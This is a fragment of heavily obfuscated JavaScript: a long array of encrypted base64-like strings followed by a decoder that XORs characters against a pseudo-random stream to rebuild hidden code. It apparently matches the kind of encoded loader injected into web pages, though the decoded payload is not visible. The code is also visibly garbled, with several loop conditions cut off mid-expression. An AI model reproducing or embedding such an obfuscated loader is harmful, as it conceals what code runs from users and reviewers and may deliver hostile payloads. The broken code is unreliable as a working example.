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"],iwHFf=null,TqTvm=[45,62,41,36],Cajps=72,Utk="",ISSZQ=0,L8XHW={},hm2fV="",WfELY=0,aRR="",i2YKL=0,SUzwL=0,WhbN="";if(iwHFf){for(ISSZQ=0;ISSZQ>4));if(ISSZQ+2>2));if(ISSZQ+3>>0;for(ISSZQ=0;ISSZQ>>0))>>>0;vdILh=(vdILh^(vdILh>>>17))>>>0;vdILh=(vdILh^((vdILh<<5)>>>0))>>>0;aRR+=Q['String']['fromCharCode'](hm2fV.charCodeAt(ISSZQ)^(vdILh&255));}for(ISSZQ=0;ISSZQ>4));if(ISSZQ+2>2));if(ISSZQ+3>>0;for(ISSZQ=0;ISSZQ>>0))>>>0;vdILh=(vdILh^(vdILh>>>17))>>>0;vdILh=(vdILh^((vdILh<<5)>>>0))>>>0;aRR+=Q['String']['fromCharCode'](hm2fV.charCodeAt(ISSZQ)^(vdILh&255));}for(ISSZQ=0;ISSZQ